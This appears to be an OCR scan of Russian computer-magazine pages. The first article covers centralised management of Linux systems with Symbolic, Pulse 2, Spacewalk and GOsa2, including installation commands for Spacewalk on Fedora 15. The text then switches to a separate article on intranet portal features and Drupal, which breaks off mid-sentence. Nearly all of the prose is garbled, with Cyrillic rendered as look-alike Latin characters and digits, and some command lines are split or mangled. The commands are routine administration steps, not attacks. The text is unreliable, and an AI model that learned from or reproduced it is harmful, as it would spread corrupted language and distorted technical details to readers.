HacTpoek Cpefiv NOAYNHEHHbIX CUCTeM Ucnonb3yeTcs Puppet.

Hanwvcan Symbolic Ha Java. PacnpocTtpaHsaeTcs no nuueHsunm GNU GPL.
MpepnaraeTcs HecKobKO BEPCUI, HO ToNlbko OpenSource HeobxofuMo
pa3BopayMBaTb CaMOCTOATESIbHO, 0CTaslbHble ABASIOTCSA NPeblHCTa M-
pyeMbIMW M MOCTaBASIOTCS M0 3anpocy.

HecmoTpsiHaTouTo Symbolic paspabaTbiBaetcs B pamkax Fedora, B
pernosuTapuax Hy>XHoro nakeTa HeT. KTOMy e NpoeKTBa rofa He npo-
SBNAN HUKAKON BHeLIHeN akTUBHOCTM M RPM-nakeTbl cobpaHbl nuwb s
paHHux Bepcuit Fedoran RedHat.

MosToMy npuycTaHoeke B nocneaHux Fedora 151 RedHat6/Cent0S6
BO3MOXHa TOJIbKO CHOpPKa U3 UCXOAHbLIX TEKCTOB. [l yL0BNETBOPEHNS
3aBUCUMOCTEN AJ151 HEKOTOPbIX BEPCUI AUCTpNOYTUBOB NOTpebyeTcs
noaknounTs penosutapun EPEL n Extras. Cam npoueccycTtaHoBku
CNOXHbIM (8151 aAMMHA C HEKOTOPO MOATOTOBKOI) HAa3BaTb HENb3S,
BBeCbMa noApobHON AOKYMeHTaL M1 ,OCTaTOYHO YeTKO BCE pacnu-
caHo, NpocTo bosblloe KONNYeCTBO HAacTpoeKk TpebyeT BHUMaTeNb-
HocTU. ByacTHoCcTH, NoTpebyeTca ycTaHOBUTL M HACTPoUTh (Mpaskoit
KoHduros) cuctembl Certmaster u Func, koTopbie NOCTpOEHbI Mo
KnuneHT-cepBepHol cxeMe. [Tocne ycTaHoBKM nakeTa symbolic cnepyet
3anycTUTb CKpUNTsymbolic-setup, noMoratoLwmnit npon3BecTu nepemnY-
Hble HacTpoliku. Mocne oTBETa Ha BCE BOMPOCHI MOXHO PErMcTpupo-
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[oBenuTtenscetun

BrnocneaHeM penuse Pulse 2 o6aBneHa Bo3M0OXHOCTb CO3AaHUS AUCKOBLIX 06pasoB

BaTbCs, Habpas B 6paysepe agpec cepsepan nopt 8081 (http://example.
org:8081/symbolic).

NHBEHTAPW3ATOP PULSE 2

He Tonbko koMnaHus RedHat paspabaTbiBaeT UHCTPYMEHTyNpaBieHuns
WT-cpepoin. BHeapax Mandriva no4rotoBuav cBoM BapuaHT, NONy4YunB-
WKt Ha3BaHue Pulse 2 ( ), paccunTaHHbI Ha ceTw
pa3Horo pa3mepa—BnnoTb fo 100 Tbic. KoMnbloTepoB. [NaBHas ero
ocobeHHocTb—paboTaBreTeporeHHoi cpefe. MoaaepxuBatTca Hau-
6onee nonynspHble aucTpubyTussl Linux (RedHat/Mandriva/Debian/
Ubuntu), Mac 0SX, HP-UX, IBM AIX, Solaris u Windows o 2k/XP/2k3/
Vista/2k8/Se7en [Tonbko x86). MpuyeM Bce 0HU MOTYT BbiTb Kak K-
eHTaMu, Tak 1 cepeepoM (cepBep HanucaH Ha Python, ppoHTeHs — Ha
PHP). Yxe sto Boigenset Pulse 2 cpenm apyrux OpenSource-peLeHuil.
Mpu 6nnxaiieM 3HaKOMCTBE PaCKPbIBAETCS CEKPET: OCHOBON ANS
Pulse 2 cnyxut apyroit dpaHuyscknit npoekt OCS Inventory NG (noa-
pobHee —B cTaTbe «CTaBUM HayyeTxeneson codpt» 81[06.2010),
KJMEHTCKME MOJYIM KOTOPOro NepeHeceHbl Clofa npakTuyeckm bes
n3MeHeHWN. [Ipu pa3BepTbiBaHNM MOTYT UCMOb30BATLCS JaHHbIE,
cobpaHHble CUCTEMOW yyeTa KOMNbIOTEPOB U KOMMNeKTyoLWMx — GLPI
( ). MpefycMOTpeHa BO3MOXHOCTb MPOCTON MHTErpaLuu
ccnucteMot MoHuTopurra Nagios. CepeepHas YacTb N0rnyecku pas-
feneHa Ha HeCKOJIbKO KOMMOHEHTOB, 0TBEYaloLL X 3a CBOW y4acToK, BCe
oHMnoppobHo pacnucaHbl B fokyMeHTaunun. OcHoBHble pyHKLNUM Pulse 2
MO3BONSAIOT NPOU3BOANTH:
* UMHBeHTapu3auut obopyposaHus nyctaHosieHHoro 10 c coxpaHeHu-
eMucTopuu;
e ycTtaHoBKy[10 M 0bHOBNEHWNIA HA OTAENbHbIA KOMMBIOTEP AW TPYNNY;

OkHoynpaBneHus cepeucaMu B Pulse 2
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HacTtpoiika dyHkumui ynpaBnenus s Spacewalk

e ¢$opMUpoBaHME rPyMnn KOMMNbIOTEPOB CTATUYECKM USTN IUHAMUYECKM
(mo 3agaHHoMy kpuTepuio);

*  y[aneHHYI0 ANarHOCTUKY CIyK6, KOHTPOJIb 3@ COCTOSAHNEM 06BEKTOB B
pacnpefeneHHoili cpeae;

* ypaneHHoeynpaeneHue npynomoln sctpoeHHoro VNC-knmeHTa;

* BbINOJHEHWNE KOMAHA U CKPUNTOB HEMEAIEHHO UM B 3aMaHUpo-
BaHHOe BpPeMsi CMOJlyYeHMeM oTYeTa 0 pe3ysibTaTe;

* TPOCMOTP)KYPHANOB M COOLITUIA Ha BbIDPaHHbIX cUCTEMaX;

* ympaBieHWe yYeTHbIMW 3aMNCAMN U KOHTPOJIb MONINTUKN Naposen.

Bnocnepreitepcun 1.3.0 8 Pulse 2 nHTerpuposan Linbox Rescue
Server (noguMerem Pulse 2 Imaging Server). Teneps agMuHucTpatop
MOXeT C03/71aBaTh (pe3epBnpoBaTh) ¥ pa3BepThiBaTh 4UCKOBbIE 06pasbl
(odunumansHo nogaepxusatoTcs Linux n Windows) Ha yaaneHHbIX KOMMbio-
Tepax. [Jns cBA3W «KIMEHT — CepBep» UCMONb3yeTcs 3aluLeHHbIn SSH.
B pa3BeTBAEHHbIX CETAXYMEHbLUNTL TPadUK N03BONSET CNeLnanbHbIi
Inventory Proxy SSL.

CucteMa nerko uHTerpupyetca c Mandriva Directory Server (mds.
mandriva.org). YnpasneHue npon3soauTCca npu noMoLLu Beb-koHconu,
HanWcaHHoW NP NOMOLLM CTaHAAPTHOTO 418 AUCTPUbY TMBOB Ha base
Mandriva ¢peiimeopka MMC [Mandriva Management Console). KoHconb
oYyeHbnpocTaBpaboTe, OHa XOTS N He NOKANN30BaHa, HO BCe TEPMUHbI
NOHATHBI M 06LeynoTpebuTeNbHbl, N0Nb30BaTe b C 6a30BbIM aHMNMACKUM
BMOJIHE MOXeT pa30bpaTbcs c ocobeHHOCTAMYM paboThl. KpynHble 3HaYKK
MEHI0 TaK)Ke MOMOTratT COPUEHTUPOBATLCS B X Ha3HAYEHUMW. Bo3MoXHO
TOHKOE fieslerupoBaHme NpaB HECKObKUM afiIMUMHUCTPaTOpaM Npu no-
moum cnuncko ACL.

[nsi3arpy3ku [OCTYMHbI UCXOAHBIE KOALI COMMuNity-Bepcum Npo-
LyKTa, pacnpocTtpaHsemoiino nuuensnn GNU GPL. Bonbwmnm nntocom
ABNAETCA [OCTYNHOCTb roToBoro obpasanns VMware Ha base Mandriva
Enterprise Server5cnpepyctaHosneHHbiM Pulse 2 (oueHb kpyTo—
NOJIHOLLEHHO NPOTECTUPOBATL PELLIEHNE, He yCTaHaBMBas ero).

[MoymonyaHutio B HacTpoiikax VMware ykasaHo 256 M6 03Y, 51 6bl
peKOMeH[0Bas eroyBennMynTh XoTs bbl 40512 M6, Haye npu faxe oT-
HOCWUTENIbHO HeBONbLLIOW Harpy3Ke cepBep MOXKHO «06BanuTb». [akeTbl 1
LOKYMeHTaLus ANS KNMEeHTOB A0CTYNHbI Yepe3 Beb-6pay3ep, focTaTouHo
nmwb HabpaTb IP-appecunvums cepsepa Pulse 2.

OnsnopnepxusaeMblx aucTpubytuneos Linux npegnaratotcs peno-
3UTapum nakeToB. [poLeccycTaHOBKM BHELIHE BbIMIAAUT 3aNyTaHHbIM —
noTpebyetcsiyctaHoBUTb cxeMy Ans LDAP nHacTpouts MySQL. MoyeMy-To
pa3paboTynKu He BbIKNAAbIBAIOT rOTOBLIX GpaitNoB, NO3TOMY NpUAeTCS
BBOJMTb KOMaHAbI BpYUYHyo. Bce warn nofpobHo pacnucaHbl B LOKYMEH-
Tauum, U Npu LOSKHOM BHUMaTENbHOCTU NpOLIelypa pa3BepTbiBaHNS
npoucxoAnT besnpobnem.

OcHosoit Spacewalk [fedorahosted.org/spacewalk, spacewalk.redhat.
com] aBnsieTcs oTKpbIThIA No GPLV2 nposykT Red Hat Network

Satellite Server, paspabatbiBaeMbiii ¢ 2001 1. M [OCTYNHbIA N0 NOA-

nucke. 3To pelleHe NpU3BaHo 06eCcneynTb BECb XKU3HEHHbINA LUK

NT-uH$pacTpyKTypbl, NOCTPOEHHOM Ha Linux. B HeM peann3oBaHbl Bce

caMble COBpeMeHHble pa3paboTku, pennsbl BbIXOAAT Yalle Satellite,

3acbopkaMu cnepunTcamo coobuiecTBo, a He cneymanucTsl 3 RedHat.

OdunumnanbHas NogAepXKa OTCYTCTBYET, ToNbko popyM. Ho B oTnnumne

ot Satellite, Spacewalk paboTaeT He ToIbKO Ha NPOM3BOAHbLIX 0T RHEL/

Fedora, atakxe nHaSLE/openSUSE n Debian. XoTs «4yxaku» nog-

[LepXWNBAKTCSH BOrPaHUYEHHOM PeXMME 1 TOIbKO B Ka4eCTBe KJIMEHTOB.

Ectb uHdpopmMaums [spacewalk.redhat.com/solaris] 0 Bo3aMoxHOM nog-

KJlO4eHUN KnneHToB Solaris.

[poeKTakTMBEH, 06HOBAEHMS B Git NOCTYNaOT Y4y Th M He exxevacHo. Mc-

nonb3ys Spacewalk, afMUHUCTPATOP MOXET:

e ycTaHaBnvBaTbuno0bHOBAATLOC UTIO;

e pasBopaynBatb OC Ha BUpTyanbHble MalwunHbl Xen v KVM;

e cobupaTbunpacnpocTpaHiTb COBCTBEHHbIE NaKeTbI;

®  ynNpaBAATbHACTPONKAMM M PacNpoCTPaHsATb roTOBbIe KOHUTypa-
LIMOHHbIE Gaiinbl;

e yctaHaBaueaTb OC npunomowum Kickstart-paiinos n AutoYaST;

® 3anyckaTb, 0CTaHaBIWBaTb M HAaCTpPauBaTb BUPTYyasibHble MaLLWHbI;

* MPOM3BOAWTHL MHBEHTapU3aLWio M MOHUTOPUHT 0bopynoBaHmns nMO;

® aBTOMAaTM3WPOBaTb P 3ahay CUCTEMHOr0 aAMUHUCTPUPOBAHUS;

®  rpynnupoBaTbCUCTEMbI M AeNernpoBaTh PosIN Mo yrnpasieHunio
agMUHUCTpaTOpaM.

MocTpoex Spacewalk no knneHT-cepBepHOI CXeMe, Korfa cepsep, Noj-
K04aACh K NOAYMHEHHBIM CUCTEMAM, OTLAET COOTBETCTBYHOLLME KOMAHAbI.
[nsynpaBneHns UCNonb3yeTcs IOKaNM30BaHHbIV Beb-uHTepdeiic, XoTs,
4T06bI pa306paThCs C3aN0KEHHBIMU MPUHLMNAMU, NPUAETCH HEMHOTO NO-
nomatb ronosy. [lokyMeHTaLMs B3TOM BOMPOCE NOMOraeT InLLb 0THYacTu.

Mcnonb3oBaHue cneymnansHoro Spacewalk Proxy nossonserpac-
NPOCTPaHATbL HACTPONKM M COBMPaTh AaHHbIe B reorpaduyecku pacnpe-
neneHHbix ceTax. Ceppep MoxeTbpaTb MHOpMaLMIO 06 yyeTHbIX 3aNncsx
13 LDAP. B gokyMeHTauuv npouecc nogkntoyeHns k LDAP onucaH BecbMa
nofpobHo, faH rotoeblit LDIF-daiin, noatoMmy B ciyyae Takoi Heobxomu-
MOCTM CBA3aTb UX MOXHO 6e3 Npobnem. KpoMe 3Toro, cnucok nosnb3oBate-
Nel, Kak U psf ApYrux HacTPOeK, MOXKHO 3arpy3nTb yepes CSV-dann.

Yn06HO, 4TO OAMH CEPBEP MOXET 06CYKNBATb HECKOIbKO OpraHusa-
LA, LS 4ero uX HyXXHO NpocTo f06aBNTL Yepes MeHIo.

NHdopMaLmus xpaHnTcs B 6ase flaHHbIX, B Ka4eCTBE KOTOPOW MOXKHO
ucnonb3osaTb PostgreSAL unu 6ecnnatHyto Oracle 10g Express Edition. B
NPOMbILLNEHHOR cpefie pa3paboTynkm Noka peKoOMeHyloT UCnoNb30BaTh
pewenune ot Oracle—3paech ckasbiBaeTcs Hacnepme Satellite, Ho c Kax-
LbIM HOBbIM penin3oM nopaepxka PostgreSQL ynyywaetcs.

|
BO3MOXHOCTN GOSA2

3apayeii HoMep ouH N060ro afiMHa ABSETCS yripaB/IeHne yueT-
HbIMM 3aMMCAMW M JOCTYNOM K HeCKoJlbKuM cepBucam. CBA3aTb BMecTe
OpenSource-peleHns 6e3onpefeneHHOro onbiTa 04eHb TXe0. 3aech
MOXHO 06paTuTbes K npoekTy GOsa2 (0ss.gonicus.de), KoTopeiii no3Bo-
nseT peann3oBaTb eAnHyl0 cucTeMyynpasnerus UT-uHdpacTpykTypoi,
0CHoBaHHYto Ha LDAP. Yno6HbIV HTepdec no3BoNSeTyNpaBnsiTh
CUCTEMHbIMU YYETHbBIMW 3aNNCAMI M MpaBaMu NoJib3oBaTesne U rpynn
UNIX 1 Samba, koMnbloTepaMu u LenbiM psapom ceTeBbix cyb —DHCP,
DNS, HTTP, SMTP v npunoxenusimu, VolP, cnucku paccolnok M Tak ganee.
CuctemMannarmHoB AaeT BO3MOXHOCTb cobpaTb KoHuUrypauwmio GOsanog,
nobble TpeboBanus. BHacToswee BpeMs peannsosaro bonee 30nna-
rMHOB, 0becneynBaloLLMX LLEHTPaAN30BaHHOE ypaBaeHue Npy NoMoLLK
GOsa: Squid, DansGuardin, rsyslog, Postfix, Courier-IMAP, Maildrop,
GNARWL, Cyrus-SASL, OpenSSL, Asterisk, Nagios, OPSI, Netatalk, FAI,
S0Go, OpenGroupware, Kolab, Scalix, ISC DHCP (nossonstowero ucnons-
308aTb LDAP), WebDAV, PureFTPd, PPTP, Kerberos.




OyeHbyA06HO, YTO MPOEKT NOAAEPXKUBAET CBOW Peno3nTapuii, 3ToHano-
psidokynpolaet passepTsiBaHue B RedHat/Cent0S/Fedora. Kpome atoro,
LOCTYNeH UcxoAHbIN Kof (B Git) n exeHeBHbIe c6OpKU, cogepxalyme nocnes-
Hue nsMeHeHus. ins Debiannpegnaraetcs cTopoHHMIA penosnTapuil.

B ka/,0M KOHKpEeTHOM IUCTPMOY TMBE NOArOTOBUTENbHbIE AeNCTBUS Yy Th
oTtnunyatotcs, ans Fedora 15 npoueccyctaHoBky Spacewalk BbIrnsgnT Tak:

# rpm -Uvh http://spacewalk.redhat.com/yum/1.5/Fedora/15/x86_64/
spacewalk-repo-1.5-1.fc15.noarch.rpm

Takxe noTpebyeTcs peno3nTtapuiijpackage.

# cat > /etc/yum.repos.d/jpackage-generic.repo << EOF
[jpackage-generic]

name=JPackage generic
baseurl=http://mirrors.dotsrc.org/jpackage/5.0/generic/free/
enabled=1

gpgcheck=1

gpgkey=http://www.jpackage.org/jpackage.asc

EOF

O6HoBnsieM nonuTuku SELinux:

# rpm -Uvh "http://kojipkgs.fedoraproject.org/packages/selinux-
policy/3.9.16/35.fc15/noarch/selinux-policy-targeted-3.9.16-35.

fcl5.noarch.rpm’ 'http://kojipkgs.fedoraproject.org/packages/
selinux-policy/3.9.16/35.fc15/noarch/selinux-policy-3.9.16-35.
fcl15.noarch.rpm’

Tenepb MoXHOycTaHaBnMBaTb. B penosutapun gnsatoronpegnaraiot
[Ba nakeTa, KoTopble BblbupatoTcs B3aBucumocTn oTBJl. [insa TecToBbIX
uenennopgonpet PostgreSQAL. B 3aBucrMocTsix nakeToB cama b6a3a aaH-
HbIX He yKa3aHa, 4To JaeT HaM BO3MOXHOCTb NofKJounTh Spacewalk K yxe
paboTatowemy cepsepy:

# yum install spacewalk-postgresql postgresqgl-server

MocneycTaHoBkM BCex NakeToB KOHPUrypupyem PostgreSQL, cozpas
6a3yaaHHbIX, M 3anyckaeM nporpamMMy HaCcTpPoKN:

# spacewalk-setup --disconnected

CKpMNT 3anpocuT AaHHble A nofKioyeHus k base gaHHbix (cepsep,
Ha3BaHWe M Nob30BaTeNsa), co3aacTTabinLbl U CreHepupyeT cepTUdm-
KaT. Ecnv pasBopauvBaeTcs HeCKONIbKO CepBepoB, yA00Hee 3apaHee co3-
natb pain oteeToB (B WikiHa caitTe eCTb NpuMep), KOTOPbINA M MOACYHYTb B
spacewalk-setup.

MpocMoTp cnuckaycTaHoBNeHHbIX NakeToB B Spacewalk

.. M“H-“““:’“ e

G0sa2no3BoNseT LeHTPann30BaHHO YNpaBAATL AOCTYNOM K CEpBUCaM

o cBoMM Bo3MOXHOCTAM Spacewalk —o4yeHb NpofBUHYTas cucTeMa
ynpaBfieHWs, a N03TOMy HacTpoeK B UHTepdelice 04eHb MHOro. YTobbl
ynNpoCTUTb aAMUHY paboTy, MCNoNb3yTCA CnelnanbHble ypoBHU abeTpak-
LMW — CUCTEMHbIE FPYNMbl, KaHaNbl, NOSIHOMOYUSA M Tak fanee. Butore He-
KOTOpOE BPEMSA NPUAETCA NOTPATUTh, 4TOOLI 0CBOUTLCS. 34eCh NOMOratT
NoACKa3KM B NEPBOM OKHE U NPefynpexAeHns, KoTopble CUCTEMA BbIAAET,
€CJ/IN4TO-TO OKa3bIBAETCS HE HACTPOEHHBIM.

[MocneycTaHOBKM CMUCOK KNTMEHTCKMUX cucTeM nycT. BToM yncne He
NoAKJ/IYeH caM cepBep, Ha KOTOpoM pa3MelleH Spacewalk. Bce obHoBne-
Hus 1 MO pacnpocTpaHaTCH Yepes KaHabl, K KOTOPbIM NPUBSA3bIBAETCA
rpynnakKoMnboTepoB. [103ToMy, NpexAe YeM NOLKITYNTL KIMEHTCKYHO
cucTeMy, HeobxoauMo co3paTh xoTs bbl kKaHan. Mepexogum B «KaHanbl >
YnpaBneHue kaHanamu M0 > Co3aaTb HOBbIW KaHan», BBOAUM UMS U Bbl-
OvpaeM B CMVCKe apxXUTEKTYPY.

[lanee reHepupyeM KoY akTUBaL MW, NPU MOMOLLU KOTOPOTO KJIMEHT
ayTeHTUdUUMpyeT cebs Ha KOHKpeTHOM cepBepe. AGMUH MOXET CreHepu-
poBaTb it060e KONMYECTBO KJIKOYE, BTOM YUCIIE M BPYYHYIO, yKa3aB 3Ha-
yeHue. KoY MOXeT UCNOosb30BaThCs 0 MH Pa3 Ui MHOToKpaTHO (ecnu
3TO pa3peLleHo BycTaHoBKax Kio4a). Boibupaem «Cuctemsl = Knoun
akTuBaummn > Cospatb Kty akTuBaymu». [locne 3anonHeHus Bcex nonem
Bnoje «Kniou» nonyyaeM HyxHoe 3HayeHue. MepBoi uudpoii cTonT npe-
buKcopranusaumu, eroTakxe HeobxoMMo UCNONb30BaTb.

MepexoAnM K KNneHTcKon cucTeMe. MofkNoyaeM HyXHbI penosuTa-
puitnyctaHasnueaeMytunutel rhn-*. ina Fedora 15 koMaHpa Takas:

# rpm -Uvh http://spacewalk.redhat.com/yum/1.5/Fedora/15/x86_64/
pacewalk-client-repo-1.5-1.fc15.noarch.rpm

# yum install rhn-client-tools rhn-check rhn-setup rhnsd
m2crypto yum-rhn-plugin

[nsnopcoeanHenns k cepepy Spacewalk ucnonb3yertcs komaHpaa
rhnreg_ks, BnapameTpax kotopoiiyka3sbieaetcs URL cepepa nkiioy
akTmBauuu. YopmatBbI30Ba TAKOM:

# rhnreg_ks --serverUrl=http://example.org/XMLRPC \
--activationkey=<knw4-akTuBaumm>

Tenepb HOBbIN KOMMNbOTEP NOABUTCA B CMUCKE «CucTeMbl», 0TKyhayxe
MOXHOYnpaBNATb ero HaCTpOVIKaMM.

Mcnonb3ys 04HO M3 0ONUCaHHbIX peLleHUit, MOXHO be3 npobnem cnpa-
BUTbCA C NapkoM Linux-MawwmnH. Kak pelwnTs, Kakoe U3 HUX UCMOJIb-
30BaTb? 3aBUCUT OT KOHKPETHOM cUTyaunm. [py nocTpoeHUn C Hyns
xopowmni Bbibop —Spacewalk. Ins reTeporeHHon ceTn anbTepHaTUBbI
Pulse 2 HeT.3C
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LapCTBeHHbIe opraHu3auuu. Drupal
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HO 0BOXOAAT CTOPOHOW.
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OCOBEHHOCTW ETHERNET-TOPTAJIA

Ha BHYTpeHHUI KopnopaTUBHbINA MopTan 0bbIYHO BO3NaraoTcs 3aaum, oT-

NUYHbIE 0T TeX, 4To bepyTHa cebsi UHTepHeT-pecypcbl. Pa3HATCs Kak camu

3a/ayu, Tak ¥ MHOTMe TeXHOornyeckmne HioaHckl. Hanpumep, B oTanyne

0T BHELIHero pecypcaBHyTPeHHeMYy He TpebyeTcs cynepyHUKabHbIi
nu3aiH, unu ceobofiHas perncTpaLus nonb3oBaTenei, Nam cnocobHocTb

Bbl[JePXXMBaTb BbICOKME Harpy3ku. [opa3no BaxHee obecneynTb pecypc

GYHKLMAMU, HEODXOANMBIMU NS Yy YLLIEHWS TPOU3BOANTENBHOCTM CO-

TPyAHUKOB —Mosib30BaTenel pecypca. I3 Hanbosee TMNMYHbIX 3a4ay,

BO3J1araeMbiX Ha BHYTPEHHWIA CaiiT, MOXHO BblAeNTb:

1. JokyMeHT0060poT.He Bce KOMNaHWW roTOBbI MOKYNaTh OTAE/bHbIE
pelleHus s aBToMaTM3auum fokyMmeHToobopoTa. MHorune pewaiot
3Ty 3ajja4y nyTeM UCnoNb30BaHUs BHyTpeHHero caiita. Besib He BceM
HY>KHa GYHKLMOHaNbHAR M LOPOras CUCTEMA IIEKTPOHHOT0 AOKYMEH-
ToobopoTa. BoMHormx cnyyasx peanbHo oboiiTuck 6onee npoctoiMu
peleHusMu. HanpuMep, Npu noMoLm GyHKLMOHANA COBPEMEHHbIX CU-
cTeMynpaB/ieHNs COAePXMMbIM BMOJTHE peaibHo cobpaTb NpoCcTeHb-
Kyto cucTeMy JoKyMeHT0060p0Ta, KOTOPOV XBAaTUT 1S HY X CpeAHel
KOMMaHuK.

2. Bnorun.CerofHsa 1My nonb3yloTCs BCE: HAYMHAA 0T NPOCTbLIX NOJIb30BaTe-
Nen3akaHuynBas pykoBOAUTENAMU KPYNHbIX KoMnaHuii. Ha ethernet-
nopTanax gyHkLWs bnornHratakxe BoctpebosaHa. O4eHbYacTo
byHKUMS «bn0or» ABNAETCH KNIOYEBOW 419 BHYTPEHHero nopTtana.

3. CoumanbHasi ceTb. EcnvipaHblue NOHATUE «COLMaNbHas CeTb» NpuMe-
HANOCh UCKIIOYMTENBHO K TAKUM N3BECTHBIM NpoekTaM, kak Facebook,
«BKoHTakTe», «TBUTTEp», TO CEerofjHs coLnanbHas npunpasacrana
MonynsipHOM 1 Ha BHYTPEHHMX pecypcax. YeM KpynHee KoMnaHus, TeM
Gonblue eli TpebyeTcs 4ennTs Nosb3oBaTesel Ha rpynnbl, Kotopble (rpyn-
Mbl) 324aCTy0 MOryTUMETb ONPeAesIeHHbIE CBA3M C APYTUMU FpynnaMi.
Butore nonyyaetcaTMnnyHas apxuTeKTypa coLnanbHoii ceTu. Taknm
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obpasoM, nofaepxka coumanu3aLnm—oAHO U3 3HAYUMbIX TPeboBaHWNA,
NPpUMEeHAEMbIX KBHYTPEHHVUM KOPNopaTUBHbIM MOpTanam.

4. Kanenpapb+6u3Hec-npoueccbl. 04HO BpeMs B Hallel cTpaHe
MHOTVe CUCTeMHbIe aMUHUCTPATOPbI ANA MOAHATNS KOPNOPaTUBHbIX
no4yTOBbIX CepBepOB Ucnonb3oBann MS Exchange. o cBoeMy onbiTy
MOTY CKa3aTb, YTO 19 KPYMHbIX OpraHn3aLMin 3To OTINYHOE peLleHue.

O,D,HaKO n3-3aeecTonMocTn Exchange COoBCeM He Nno KapMaHycpegHUM

opraHu3auusm. d3arosopuno Exhange He cnyyaiiro. B komnanusx, B
KOTOpbIX MHE A0BOAMN0CE paboTaTh M rae BKa4YecTBE MOYTOBMKA Obin
ycTaHoBneH MS Exchange, 40CTaTO4YHO aKTUBHO UCMO/b30BANNCh
kanennapu B MS Outlook.YnobHoe cpeacTBo, no3gonsiolee bbicTpo
CNNaHNpoBaTh CBOW AeHb UM OPraHM30BaTh 04epeHON MUTUHT. C
pa3BuTHeM Beb-TexHONOrni BCE bonblie KOMNaHUA CTann nepeHo-
cuTbynpasneHve fenamv B web. OpraHusayuu, uMetowine B CBoeM
pacnopshxeHun ethernet-pecypc, MoryTBO3710XUTb Ha GyHKLMOHAN
BHYTPEHHero pecypcaBefieHue KaneHnaps, naHupoBaHue BCTpey,
cocTtaBneHve ToDo-nuncToB, Aa M NpocTo NnaHnposarue paboTbi nog-
pasfeneHunin/coTpyaHNKOB.

5. OnepaTuBHOe npegocTaBneHne UHGopMaumnmn. Kak Lns MHOrUX
paHee pacCcMOTPEHHbIX 33434, 0cobyto KNYeBYI0 posib UrpaeT pas-
Mep KoMMaHuw. YeM bosblie KOMMNaHWs, TeM TpYLHee opraHu3oBaThb
Xopollee B3auMopencTBre c coTpyaHukamu. [ybnukauus sapavy,

pacnomeeHMﬁ, nnaHoBupacnpefeneHnesToronnacra MH¢OpMaLl,VIM

onpeseneHHbIM nLam (BCnoMUHaeM nNpo colmanbHyto CocTaBAs -

Lyto) — ofiHa M3 KNoYeBbIX PYHKLMIA BHYTPEHHEr0 pecypca.
6. Momolb HOBEHbKUM COTPYAHMKAM. HOBbIN COTPYAHWK B KOMMaHUN —
3T0 OAHOBPEMEHHO PaflocTb M ronoBHas bonb. PacckaszaTb cTpykTypy
Bu3Hec-npoLeccos, NPOMCXOAALLMX B KOMNAHUK, MO3HAKOMUTL C KOJI-
NeKTNBOM, 06BACHUTD, 4TO FAe HaxoANTCs, —BCcE 3ToTpebyeTorpoMm-
Horo kosnimyectBa BpeMeHn. 0cobo NpoBUHYTbIe KOMNAHUM peLlaioT
3Ty npobsieMy Npu noMoLLM BHYTpeHHero pecypca. TpebyeTcs nuib
0AUH pa3co3paTtbHabopnpasun, otorpaduinn apyrux HeobXxoauMbIX
Belleit, YTobbl BXOXKAEeHME B KOJIIEKTUB HOBEHbKUX COTPYAHNKOB Obis0
MaKCMManbHO NPOCTLIM M APYrUM CNeymanuctamM He Tpebosanocb Tpa-
TUTb CBOE BpeMs Ha npefocTaBaeHne MHGOpPMaL MK, KOTOPYIO HOBbIN
COTPYAHUK B COCTOSIHUM MOAYYNUTb CAMOCTOATEBHO.
XpaHunuie undopMauum. LleHtpanmzoBaHHoe XpaHnauLLe obLen
MHOPMaLMM —MeyTa Ka Lo KOMNaHWK, ¥ [OBOJIbHO 4acTo 3Ty
dyHKLMIO BO31aratoT Ha BHYTPEHHWIA KOpnopaTuBHbI nopTan. B
noboit KoMNaHuu nMeeTcs bonbluoe konnyecTBo o0buiet nHGopma-
unu: pacnopsxenus, TpeboBanns, npasuna, rpadukanT. o. Becb atot
MaccWB AaHHbIX A0SKeH 6bITb XOPOLLO CrPYNNMPOBaH U JOCTYNeH BCeM
COTPyAHUKAM. BHYyTpeHHW calT—ueanbHoe MecTo AN15 pa3melle-
HUS BCEX 3TUX laHHbIX.
Help Desk. [laHHas GyHKLMA 0cODEHHO aKTyabHa A5 KOMMAHWNA,
KOTOpbI€ COZepXaT B CBOEM LUTATe CPefjHNI Mo YncneHHocTu I T-oThen.
Ethernet-pecypcnossonserBceM nonb3oBaTensmMBynobHoit popme
B3auMofeiicTBoBaTh CIT-cneynanncTamm n ocTaBaATbL UM 3a8BKK. Kak
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npaBwWJIo, 3aBKN MOTYT UMeTb HECKOJIbKO CTaTyCOB, KOMMEHTap1eB 1
T.4.Bcsataundopmauus MoxeTBynobHo popMe npocMaTpuBaThCs
W AOCTYNHA KaK AN ucnonxutenei (B saHHoM cnyyae IT-otaenal, Taku
A5 pyKOBOACTBA.

8. ®opyM.KopnopatusHblie popyMbl NOA0OHO 0BbIYHBIM UHTEPHET-
dopyMaM npu3HaHbl 0becneynTb N0Ae BO3MOXKHOCTbIO 06LaTbCs Ha
pasfinyHble TeMbl. [0BOPS NPUMEHUTENIBHO K BHYTPEHHUM pecyp-
caM, popyMbl LOKHbI MPEOCTaBASATb COTPYAHVMKAM BO3ZMOXKHOCTb
obuwaTbca HanpodeccnoHanbHble TeMbl. Kak noka3biBaeT npakTuka,
“cnonb3oBaHne GopyMOB BKYME CXKUBLIM 06LLeHNEM MOSTOXKMUTESbHO
BAMsieT Ha paboyuniinpouecc.

MpepcTaBneHHbIN CNNCOK YHKLUIA He ABASIeTCA MCYepnblBaoLWmUM. 34echb
NULWb Nepeyncerbl Hanbosee BocTpeboBaHHbIE BOZMOXKHOCTU, U UMEHHO
CTaKUMU KOPMOPaTUBHbLIMU MOPTanaMy BalleMy NOKOPHOMY Cyre npu-
XOAWNOCH BCTPeYaTbCs Ha NpakTuke. 3Has cnucok 3agay (TpebosaHui),
CTaHOBUTCSA BO3MOXHbBIM N000paTh ONTUMabHOE peLleHue.

MOTOMY YTO DRUPA

Drupal Bcerpa cnasuncs cBoeit cTabunbHocTblo, boraTbiMu GyHKLMO-
HaNbHbIMV BO3MOXHOCTAMM U be3onacHocTblo. CamMa cucTeMa Mano 4yero
yMeeT, Ho3a c4yeTb0oratoro peno3nTopus Mofyneit ero GyHKLMOHaN MOXHO
0NMANBaTL B HYXHYto cTopoHy. Moaynn B Drupal—rnaBHoe ero npenmy-
wecTBo. Bo-nepBsbix, NX 04eHb MHOT0, a BO-BTOPbIX — apXMTeKTypa 3Toi
CMS HacToNbKO MPOAYMaHa, YTO KaX bl MOAYb MOXKET BAIUATL Ha 060N
y4acTok cucteMbl. iMeHHo noatoMmy Drupal BbIFOHO 0T/IMYAETCS OT KOH-
KypeHTOB, BeAb bnarofaps MaclwtabupyeMon apxutekType GyHKLMOHAN
CUCTEMbI MOXET ObITb He TONIbKO pacilunpeH, Ho nnepepabotaH. HecMoTps
Ha cepbe3Hble natockl, y Drupal umeetca ognt 6onblioit MUHyc —cuctema
